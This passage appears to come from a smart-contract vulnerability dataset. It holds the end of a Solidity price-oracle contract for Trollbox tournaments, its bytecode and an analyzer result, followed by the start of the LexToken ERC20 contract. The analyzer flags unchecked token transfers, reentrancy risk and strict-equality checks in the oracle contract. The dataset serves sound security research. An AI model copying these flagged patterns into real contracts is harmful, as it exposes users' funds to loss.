latestProposalConfirmed() { require (proposals[numProposals].confirmed == true || numProposals == 0, 'Unconfirmed proposal present'); _; } constructor(address mgmt, address trollboxAddr, address tokenAddr, uint tournament, bytes32[] memory initialSymbols, int[] memory initialPrices) { management = mgmt; trollbox = ITrollbox(trollboxAddr); token = IERC20(tokenAddr); tournamentId = tournament; tickerSymbols = initialSymbols; setPricesInternal(initialPrices); } function setManagement(address newMgmt) public managementOnly { address oldMgmt = management; management = newMgmt; emit ManagementUpdated(oldMgmt, newMgmt); } function setChallengeDeposit(uint newDeposit) public managementOnly latestProposalConfirmed { uint oldDeposit = challengeDeposit; challengeDeposit = newDeposit; emit DepositUpdated(oldDeposit, newDeposit); } function setChallengePeriod(uint newPeriod) public managementOnly latestProposalConfirmed { uint oldPeriod = challengePeriodSeconds; challengePeriodSeconds = newPeriod; emit ChallengePeriodUpdated(oldPeriod, newPeriod); } function setPricesInternal(int[] memory newPrices) internal { for (uint i = 0; i < tickerSymbols.length; i++) { prices[tickerSymbols[i]] = newPrices[i]; } } function getTickerSymbols() public view returns (bytes32[] memory) { return tickerSymbols; } function setTickerSymbols(bytes32[] memory newKeys) public managementOnly latestProposalConfirmed { bytes32[] memory oldKeys = tickerSymbols; tickerSymbols = newKeys; emit TickerSymbolsUpdated(oldKeys, newKeys); } function addFeed(bytes32 key, address feedAddr) public managementOnly { feedMap[key] = feedAddr; emit FeedUpdated(key, feedAddr); } function getWinner() public view returns (int[] memory, uint) { int256 maxPriceDiff = -100 * PRECISION; uint winnerIndex = 0; int[] memory pricesLocal = new int[](tickerSymbols.length); for (uint i = 0; i < tickerSymbols.length; i++) { bytes32 key = tickerSymbols[i]; int priceBefore = prices[key]; AggregatorV3Interface chainlink = AggregatorV3Interface(feedMap[key]); (,int256 priceNow,,,) = chainlink.latestRoundData(); pricesLocal[i] = priceNow; int256 priceDiff = ((priceNow - priceBefore) * PRECISION) / priceBefore; if (priceDiff > maxPriceDiff) { maxPriceDiff = priceDiff; // add one to index to account for 1 based indexing on Trollbox contract winnerIndex = i + 1; } } return (pricesLocal, winnerIndex); } function proposeWinner(uint roundId) public latestProposalConfirmed { require(trollbox.roundAlreadyResolved(tournamentId, roundId) == false, 'Round already resolve'); require(trollbox.getCurrentRoundId(tournamentId) > roundId + 1, 'Round not ready to resolve'); Proposal storage proposal = proposals[++numProposals]; proposal.id = numProposals; proposal.time = block.timestamp; proposal.roundId = roundId; (int[] memory newPrices, uint winnerIndex) = getWinner(); setPricesInternal(newPrices); proposal.winnerIndex = winnerIndex; emit WinnerProposed(roundId, numProposals, proposal.winnerIndex); } function challengeWinner(uint proposalId, uint claimedWinner) public { token.transferFrom(msg.sender, address(this), challengeDeposit); Proposal storage proposal = proposals[proposalId]; require(proposal.challenger == address(0), 'Proposal already challenged'); require(claimedWinner != proposal.winnerIndex, 'Must claim different winner than proposed winner'); require(block.timestamp - proposal.time < challengePeriodSeconds, 'Challenge period has passed'); proposal.challenger = msg.sender; proposal.challengeWinnerIndex = claimedWinner; emit ChallengeMade(proposalId, msg.sender, claimedWinner); } function confirmWinnerUnchallenged(uint proposalId) public { Proposal memory proposal = proposals[proposalId]; require(proposal.challenger == address(0), 'Proposal has been challenged'); require(block.timestamp - proposal.time > challengePeriodSeconds, 'Challenge period has not passed'); confirmWinnerInternal(proposalId); } function confirmWinnerChallenged(uint proposalId, uint chosenWinnerIndex, int[] memory localPrices) public managementOnly { Proposal storage proposal = proposals[proposalId]; require(proposal.challenger != address(0), 'Proposal has not been challenged'); require(chosenWinnerIndex <= tickerSymbols.length, 'Winner index out of range'); require(chosenWinnerIndex > 0, 'Winner index must be positive'); require(localPrices.length == tickerSymbols.length, 'Must specify prices for all ticker symbols'); // set official winner proposal.winnerIndex = chosenWinnerIndex; // record prices for (uint i = 0; i < tickerSymbols.length; i++) { prices[tickerSymbols[i]] = localPrices[i]; } confirmWinnerInternal(proposalId); // if challenger failed, slash their deposit if (chosenWinnerIndex != proposal.challengeWinnerIndex) { token.transfer(address(0), challengeDeposit); emit ChallengerSlashed(proposalId, proposal.challenger, challengeDeposit); // else send it back to them } else { token.transfer(proposal.challenger, challengeDeposit); emit ChallengerVindicated(proposalId, proposal.challenger); } } function confirmWinnerInternal(uint proposalId) internal { Proposal storage proposal = proposals[proposalId]; require(proposal.id == proposalId, 'Invalid proposalId'); require(proposal.confirmed == false, 'Already confirmed proposal'); proposal.confirmed = true; int[] memory pricesLocal = new int[](tickerSymbols.length); for (uint i = 0; i < tickerSymbols.length; i++) { pricesLocal[i] = prices[tickerSymbols[i]]; } emit WinnerConfirmed(proposal.roundId, proposalId, pricesLocal); trollbox.resolveRound(tournamentId, proposal.roundId, proposal.winnerIndex); } }
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806379ed2b5b116100c3578063aaf5eb681161007c578063aaf5eb681461068f578063d4a22bde146106ad578063ece5cbdf146106f1578063f809ab431461073f578063fb6012941461075d578063fc0c546a1461077b5761014d565b806379ed2b5b1461048557806388a8d602146104b35780638e7ea5b2146104e75780639938ddc81461054d5780639d3f310114610581578063a8139701146105c35761014d565b80634844e43e116101155780634844e43e146103295780635d475fdd1461036157806360846bc61461038f5780636b29dcff146103d157806371959bb6146103ff57806375520e1b1461042d5761014d565b8063013cf08b146101525780630d13fd7b146101d65780632bbf744b146101f457806330324f36146102ac578063400e39491461030b575b600080fd5b61017e6004803603602081101561016857600080fd5b81019080803590602001909291905050506107af565b6040518088815260200187815260200186151581526020018581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff16815260200197505050505050505060405180910390f35b6101de61081e565b6040518082815260200191505060405180910390f35b6102aa6004803603602081101561020a57600080fd5b810190808035906020019064010000000081111561022757600080fd5b82018360208201111561023957600080fd5b8035906020019184602083028401116401000000008311171561025b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610824565b005b6102b4610ac4565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156102f75780820151818401526020810190506102dc565b505050509050019250505060405180910390f35b610313610b1c565b6040518082815260200191505060405180910390f35b61035f6004803603604081101561033f57600080fd5b810190808035906020019092919080359060200190929190505050610b22565b005b61038d6004803603602081101561037757600080fd5b8101908080359060200190929190505050610e5e565b005b6103bb600480360360208110156103a557600080fd5b810190808035906020019092919050505061101e565b6040518082815260200191505060405180910390f35b6103fd600480360360208110156103e757600080fd5b8101908080359060200190929190505050611036565b005b61042b6004803603602081101561041557600080fd5b8101908080359060200190929190505050611231565b005b6104596004803603602081101561044357600080fd5b81019080803590602001909291905050506115e0565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104b16004803603602081101561049b57600080fd5b8101908080359060200190929190505050611613565b005b6104bb6117d3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104ef6117f9565b6040518080602001838152602001828103825284818151815260200191508051906020019060200280838360005b8381101561053857808201518184015260208101905061051d565b50505050905001935050505060405180910390f35b610555611a04565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105ad6004803603602081101561059757600080fd5b8101908080359060200190929190505050611a2a565b6040518082815260200191505060405180910390f35b61068d600480360360608110156105d957600080fd5b8101908080359060200190929190803590602001909291908035906020019064010000000081111561060a57600080fd5b82018360208201111561061c57600080fd5b8035906020019184602083028401116401000000008311171561063e57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611a4e565b005b610697612061565b6040518082815260200191505060405180910390f35b6106ef600480360360208110156106c357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612068565b005b61073d6004803603604081101561070757600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612202565b005b61074761235e565b6040518082815260200191505060405180910390f35b610765612364565b6040518082815260200191505060405180910390f35b61078361236a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60026020528060005260406000206000915090508060000154908060010154908060020160009054906101000a900460ff16908060030154908060040154908060050154908060060160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905087565b60075481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108e7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f6e6c79206d616e6167656d656e74206d61792063616c6c207468697300000081525060200191505060405180910390fd5b6001151560026000600654815260200190815260200160002060020160009054906101000a900460ff161515148061092157506000600654145b610993576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f556e636f6e6669726d65642070726f706f73616c2070726573656e740000000081525060200191505060405180910390fd5b6060600a8054806020026020016040519081016040528092919081815260200182805480156109e157602002820191906000526020600020905b8154815260200190600101908083116109cd575b5050505050905081600a90805190602001906109fe929190612706565b507f4115af54fe09e9cf08f73c664be85c98a43e98a898d7f6bc1576e13756d5a3578183604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b83811015610a69578082015181840152602081019050610a4e565b50505050905001838103825284818151815260200191508051906020019060200280838360005b83811015610aab578082015181840152602081019050610a90565b5050505090500194505050505060405180910390a15050565b6060600a805480602002602001604051908101604052809291908181526020018280548015610b1257602002820191906000526020600020905b815481526020019060010190808311610afe575b5050505050905090565b60065481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd33306007546040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610bd557600080fd5b505af1158015610be9573d6000803e3d6000fd5b505050506040513d6020811015610bff57600080fd5b8101908080519060200190929190505050506000600260008481526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168160060160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f50726f706f73616c20616c7265616479206368616c6c656e676564000000000081525060200191505060405180910390fd5b8060040154821415610d4b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806127c66030913960400191505060405180910390fd5b6008548160010154420310610dc8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4368616c6c656e676520706572696f642068617320706173736564000000000081525060200191505060405180910390fd5b338160060160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818160050181905550813373ffffffffffffffffffffffffffffffffffffffff16847f90475fb3e16aca29f3426223e3bdfa12f105e3686f0d9fba2add7a34ee7e3f4d60405160405180910390a4505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f21576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f6e6c79206d616e6167656d656e74206d61792063616c6c207468697300000081525060200191505060405180910390fd5b6001151560026000600654815260200190815260200160002060020160009054906101000a900460ff1615151480610f5b57506000600654145b610fcd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f556e636f6e6669726d65642070726f706f73616c2070726573656e740000000081525060200191505060405180910390fd5b60006008549050816008819055507f6faeedb0dbe08f71a52ddff592571aafec07972ce3a25c4a30e6b161329466928183604051808381526020018281526020019250505060405180910390a15050565b60016020528060005260406000206000915090505481565b61103e612753565b600260008381526020019081526020016000206040518060e001604052908160008201548152602001600182015481526020016002820160009054906101000a900460ff161515151581526020016003820154815260200160048201548152602001600582015481526020016006820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff168160c0015173ffffffffffffffffffffffffffffffffffffffff16146111a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f50726f706f73616c20686173206265656e206368616c6c656e6765640000000081525060200191505060405180910390fd5b6008548160200151420311611224576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4368616c6c656e676520706572696f6420686173206e6f74207061737365640081525060200191505060405180910390fd5b61122d82612390565b5050565b6001151560026000600654815260200190815260200160002060020160009054906101000a900460ff161515148061126b57506000600654145b6112dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f556e636f6e6669726d65642070726f706f73616c2070726573656e740000000081525060200191505060405180910390fd5b60001515600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b303f325600954846040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561135e57600080fd5b505afa158015611372573d6000803e3d6000fd5b505050506040513d602081101561138857600080fd5b810190808051906020019092919050505015151461140e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f526f756e6420616c7265616479207265736f6c7665000000000000000000000081525060200191505060405180910390fd5b60018101600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663209380366009546040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b15801561148957600080fd5b505af115801561149d573d6000803e3d6000fd5b505050506040513d60208110156114b357600080fd5b810190808051906020019092919050505011611537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f526f756e64206e6f7420726561647920746f207265736f6c766500000000000081525060200191505060405180910390fd5b600060026000600660008154600101919050819055815260200190815260200160002090506006548160000181905550428160010181905550818160030181905550606060006115856117f9565b91509150611592826126a3565b808360040181905550600654847fc8adb38f754358b3b83b6c27a631b4f68c2767b6284831b139083092065fb2c885600401546040518082815260200191505060405180910390a350505050565b60006020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f6e6c79206d616e6167656d656e74206d61792063616c6c207468697300000081525060200191505060405180910390fd5b6001151560026000600654815260200190815260200160002060020160009054906101000a900460ff161515148061171057506000600654145b611782576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f556e636f6e6669726d65642070726f706f73616c2070726573656e740000000081525060200191505060405180910390fd5b60006007549050816007819055507f4c0c144abc1788db200c21df3378b55ee4ab0980465c120061c995a62f7626d88183604051808381526020018281526020019250505060405180910390a15050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6060600080620f42407fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9c02905060006060600a8054905067ffffffffffffffff8111801561184657600080fd5b506040519080825280602002602001820160405280156118755781602001602082028036833780820191505090505b50905060005b600a805490508110156119f6576000600a828154811061189757fe5b90600052602060002001549050600060016000838152602001908152602001600020549050600080600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008173ffffffffffffffffffffffffffffffffffffffff1663feaf968c6040518163ffffffff1660e01b815260040160a06040518083038186803b15801561193b57600080fd5b505afa15801561194f573d6000803e3d6000fd5b505050506040513d60a081101561196557600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190505050505050915050808686815181106119b157fe5b602002602001018181525050600083620f424085840302816119cf57fe5b059050888113156119e4578098506001860197505b5050505050808060010191505061187b565b508082945094505050509091565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a8181548110611a3a57600080fd5b906000526020600020016000915090505481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b11576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f6e6c79206d616e6167656d656e74206d61792063616c6c207468697300000081525060200191505060405180910390fd5b6000600260008581526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168160060160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611bef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f50726f706f73616c20686173206e6f74206265656e206368616c6c656e67656481525060200191505060405180910390fd5b600a80549050831115611c6a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f57696e6e657220696e646578206f7574206f662072616e67650000000000000081525060200191505060405180910390fd5b60008311611ce0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f57696e6e657220696e646578206d75737420626520706f73697469766500000081525060200191505060405180910390fd5b600a80549050825114611d3e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806127f6602a913960400191505060405180910390fd5b82816004018190555060005b600a80549050811015611da657828181518110611d6357fe5b602002602001015160016000600a8481548110611d7c57fe5b90600052602060002001548152602001908152602001600020819055508080600101915050611d4a565b50611db084612390565b80600501548314611efd57600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60006007546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611e5157600080fd5b505af1158015611e65573d6000803e3d6000fd5b505050506040513d6020811015611e7b57600080fd5b8101908080519060200190929190505050506007548160060160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16857fbfe8521217f7e2b8157641bf2b347bd3ea30441d77a087bce2779bc5114380fc60405160405180910390a461205b565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8260060160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166007546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611fb657600080fd5b505af1158015611fca573d6000803e3d6000fd5b505050506040513d6020811015611fe057600080fd5b8101908080519060200190929190505050508060060160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16847fc3487feab295fe2da177f4e7d04606b1343d1b0e14c877ba7617d7e914c91a6a60405160405180910390a35b50505050565b620f424081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461212b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f6e6c79206d616e6167656d656e74206d61792063616c6c207468697300000081525060200191505060405180910390fd5b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f8caf0a9df2e1da9becb3ebfb8a56e83121a5b3f6c5622f715a939ec29c54dfdf8183604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146122c5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4f6e6c79206d616e6167656d656e74206d61792063616c6c207468697300000081525060200191505060405180910390fd5b8060008084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16827f45ee15c8b444d8b7d362757167c96bbb5aa4dee29d7d3166063c9c0af180615a60405160405180910390a35050565b60095481565b60085481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060026000838152602001908152602001600020905081816000015414612420576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f496e76616c69642070726f706f73616c4964000000000000000000000000000081525060200191505060405180910390fd5b600015158160020160009054906101000a900460ff161515146124ab576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f416c726561647920636f6e6669726d65642070726f706f73616c00000000000081525060200191505060405180910390fd5b60018160020160006101000a81548160ff0219169083151502179055506060600a8054905067ffffffffffffffff811180156124e657600080fd5b506040519080825280602002602001820160405280156125155781602001602082028036833780820191505090505b50905060005b600a805490508110156125785760016000600a838154811061253957fe5b906000526020600020015481526020019081526020016000205482828151811061255f57fe5b602002602001018181525050808060010191505061251b565b508282600301547f9a8af3b1e54cfb033bf0c00e2cc8176f3b42914d55111159655abdc2d2db5062836040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156125e45780820151818401526020810190506125c9565b505050509050019250505060405180910390a3600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663928b7c99600954846003015485600401546040518463ffffffff1660e01b8152600401808481526020018381526020018281526020019350505050600060405180830381600087803b15801561268657600080fd5b505af115801561269a573d6000803e3d6000fd5b50505050505050565b60005b600a80549050811015612702578181815181106126bf57fe5b602002602001015160016000600a84815481106126d857fe5b906000526020600020015481526020019081526020016000208190555080806001019150506126a6565b5050565b828054828255906000526020600020908101928215612742579160200282015b82811115612741578251825591602001919060010190612726565b5b50905061274f91906127a8565b5090565b6040518060e001604052806000815260200160008152602001600015158152602001600081526020016000815260200160008152602001600073ffffffffffffffffffffffffffffffffffffffff1681525090565b5b808211156127c15760008160009055506001016127a9565b509056fe4d75737420636c61696d20646966666572656e742077696e6e6572207468616e2070726f706f7365642077696e6e65724d75737420737065636966792070726963657320666f7220616c6c207469636b65722073796d626f6c73a26469706673582212206d11283fd37eab9e92ebae44377d0ab20d5d07491270afbe19a7c4684b24d49264736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
7,602
0x2bd9344bb2ebf4a62f05c2497254ece009f18e5b
/* ██╗ ███████╗██╗ ██╗ ██║ ██╔════╝╚██╗██╔╝ ██║ █████╗ ╚███╔╝ ██║ ██╔══╝ ██╔██╗ ███████╗███████╗██╔╝ ██╗ ╚══════╝╚══════╝╚═╝ ╚═╝ ████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗ ╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║ ██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║ ██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║ ██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝ DEAR MSG.SENDER(S): / LexToken is a project in beta. // Please audit and use at your own risk. /// Entry into LexToken shall not create an attorney/client relationship. //// Likewise, LexToken should not be construed as legal advice or replacement for professional counsel. ///// STEAL THIS C0D3SL4W ////// presented by LexDAO LLC */ // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.7.4; interface IERC20 { // brief interface for erc20 token function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); } library SafeMath { // arithmetic wrapper for unit under/overflow check function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } } contract LexToken { using SafeMath for uint256; address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager uint256 public totalSupplyCap; // maximum of token mintable bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature string public details; // details token offering, redemption, etc. - updateable by manager string public name; // fixed token name string public symbol; // fixed token symbol bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager bool private initialized; // internally tracks token deployment under eip-1167 proxy pattern bool public transferable; // transferability of token - does not affect token sale - updateable by manager event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); event UpdateGovernance(address indexed manager, string details); event UpdateSale(uint256 saleRate, bool forSale); event UpdateTransferability(bool transferable); mapping(address => mapping(address => uint256)) public allowances; mapping(address => uint256) public balanceOf; mapping(address => uint256) public nonces; modifier onlyManager { require(msg.sender == manager, "!manager"); _; } function init( address payable _manager, uint8 _decimals, uint256 _managerSupply, uint256 _saleRate, uint256 _saleSupply, uint256 _totalSupplyCap, string calldata _details, string calldata _name, string calldata _symbol, bool _forSale, bool _transferable ) external { require(!initialized, "initialized"); manager = _manager; decimals = _decimals; saleRate = _saleRate; totalSupplyCap = _totalSupplyCap; details = _details; name = _name; symbol = _symbol; forSale = _forSale; initialized = true; transferable = _transferable; _mint(_manager, _managerSupply); _mint(address(this), _saleSupply); // eip-2612 permit() pattern: uint256 chainId; assembly {chainId := chainid()} DOMAIN_SEPARATOR = keccak256(abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256(bytes("1")), chainId, address(this))); } receive() external payable { // SALE require(forSale, "!forSale"); (bool success, ) = manager.call{value: msg.value}(""); require(success, "!ethCall"); _transfer(address(this), msg.sender, msg.value.mul(saleRate)); } function _approve(address owner, address spender, uint256 value) internal { allowances[owner][spender] = value; emit Approval(owner, spender, value); } function approve(address spender, uint256 value) external returns (bool) { require(value == 0 || allowances[msg.sender][spender] == 0, "!reset"); _approve(msg.sender, spender, value); return true; } function burn(uint256 value) external { balanceOf[msg.sender] = balanceOf[msg.sender].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(msg.sender, address(0), value); } // Adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external { require(block.timestamp <= deadline, "expired"); bytes32 hashStruct = keccak256(abi.encode( PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)); bytes32 hash = keccak256(abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, hashStruct)); address signer = ecrecover(hash, v, r, s); require(signer != address(0) && signer == owner, "!signer"); _approve(owner, spender, value); } function _transfer(address from, address to, uint256 value) internal { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function transfer(address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); _transfer(msg.sender, to, value); return true; } function transferBatch(address[] calldata to, uint256[] calldata value) external { require(to.length == value.length, "!to/value"); require(transferable, "!transferable"); for (uint256 i = 0; i < to.length; i++) { _transfer(msg.sender, to[i], value[i]); } } function transferFrom(address from, address to, uint256 value) external returns (bool) { require(transferable, "!transferable"); _approve(from, msg.sender, allowances[from][msg.sender].sub(value)); _transfer(from, to, value); return true; } /**************** MANAGER FUNCTIONS ****************/ function _mint(address to, uint256 value) internal { require(totalSupply.add(value) <= totalSupplyCap, "capped"); balanceOf[to] = balanceOf[to].add(value); totalSupply = totalSupply.add(value); emit Transfer(address(0), to, value); } function mint(address to, uint256 value) external onlyManager { _mint(to, value); } function mintBatch(address[] calldata to, uint256[] calldata value) external onlyManager { require(to.length == value.length, "!to/value"); for (uint256 i = 0; i < to.length; i++) { _mint(to[i], value[i]); } } function updateGovernance(address payable _manager, string calldata _details) external onlyManager { manager = _manager; details = _details; emit UpdateGovernance(_manager, _details); } function updateSale(uint256 _saleRate, uint256 _saleSupply, bool _forSale) external onlyManager { saleRate = _saleRate; forSale = _forSale; _mint(address(this), _saleSupply); emit UpdateSale(_saleRate, _forSale); } function updateTransferability(bool _transferable) external onlyManager { transferable = _transferable; emit UpdateTransferability(_transferable); } function withdrawToken(address[] calldata token, address[] calldata withrawTo, uint256[] calldata value, bool max) external onlyManager { // withdraw token sent to lextoken contract require(token.length == withrawTo.length && token.length == value.length, "!token/withrawTo/value"); for (uint256 i = 0; i < token.length; i++) { uint256 withdrawalValue = value[i]; if (max) {withdrawalValue = IERC20(token[i]).balanceOf(address(this));} IERC20(token[i]).transfer(withrawTo[i], withdrawalValue); } } } /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE 